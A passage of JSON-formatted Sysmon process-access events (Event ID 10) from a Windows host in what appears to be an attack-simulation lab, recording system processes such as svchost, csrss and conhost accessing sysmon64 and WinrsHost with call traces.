C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.822","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5132,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.822\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.822","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5133,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.822\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.822","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5134,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.837\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.837","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5135,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.837\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.837","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5136,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.837\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nTargetProcessId: 3632\r\nTargetImage: C:\\Windows\\system32\\conhost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.837","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","TargetProcessId":"3632","TargetImage":"C:\\Windows\\system32\\conhost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\SYSTEM32\\CSRSRV.dll+1a30|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5c09|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5137,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.837\r\nSourceProcessGUID: {90617006-416D-5F2D-0000-001008010800}\r\nSourceProcessId: 3632\r\nSourceThreadId: 4900\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-416D-5F2D-0000-001088000800}\r\nTargetProcessId: 3776\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.837","SourceProcessGUID":"{90617006-416D-5F2D-0000-001008010800}","SourceProcessId":"3632","SourceThreadId":"4900","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-416D-5F2D-0000-001088000800}","TargetProcessId":"3776","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5138,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.853\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-416D-5F2D-0000-001088000800}\r\nTargetProcessId: 3776\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.853","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-416D-5F2D-0000-001088000800}","TargetProcessId":"3776","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:29","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5139,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:29.853\r\nSourceProcessGUID: {90617006-3FD4-5F2D-0000-00105BD20000}\r\nSourceProcessId: 1368\r\nSourceThreadId: 2008\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-416D-5F2D-0000-001088000800}\r\nTargetProcessId: 3776\r\nTargetImage: C:\\Windows\\system32\\WinrsHost.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:29.853","SourceProcessGUID":"{90617006-3FD4-5F2D-0000-00105BD20000}","SourceProcessId":"1368","SourceThreadId":"2008","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-416D-5F2D-0000-001088000800}","TargetProcessId":"3776","TargetImage":"C:\\Windows\\system32\\WinrsHost.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|C:\\Windows\\system32\\winrscmd.dll+8d36|C:\\Windows\\system32\\winrscmd.dll+92d5|C:\\Windows\\system32\\winrscmd.dll+af31|C:\\Windows\\system32\\winrscmd.dll+23dc|c:\\windows\\system32\\wsmsvc.dll+155ac7|c:\\windows\\system32\\wsmsvc.dll+13f76d|c:\\windows\\system32\\wsmsvc.dll+13f3cf|c:\\windows\\system32\\wsmsvc.dll+13fcb2|c:\\windows\\system32\\wsmsvc.dll+9ab10|c:\\windows\\system32\\wsmsvc.dll+9b611|c:\\windows\\system32\\wsmsvc.dll+4495|c:\\windows\\system32\\wsmsvc.dll+16816c|c:\\windows\\system32\\wsmsvc.dll+1689b8|c:\\windows\\system32\\wsmsvc.dll+16345b|c:\\windows\\system32\\wsmsvc.dll+163125|c:\\windows\\system32\\wsmsvc.dll+14ce9c|c:\\windows\\system32\\wsmsvc.dll+130049|c:\\windows\\system32\\wsmsvc.dll+13571a|c:\\windows\\system32\\wsmsvc.dll+12f47e|c:\\windows\\system32\\wsmsvc.dll+125587|c:\\windows\\system32\\wsmsvc.dll+11f562|c:\\windows\\system32\\wsmsvc.dll+124574","EventReceivedTime":"2020-08-07 11:56:30","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 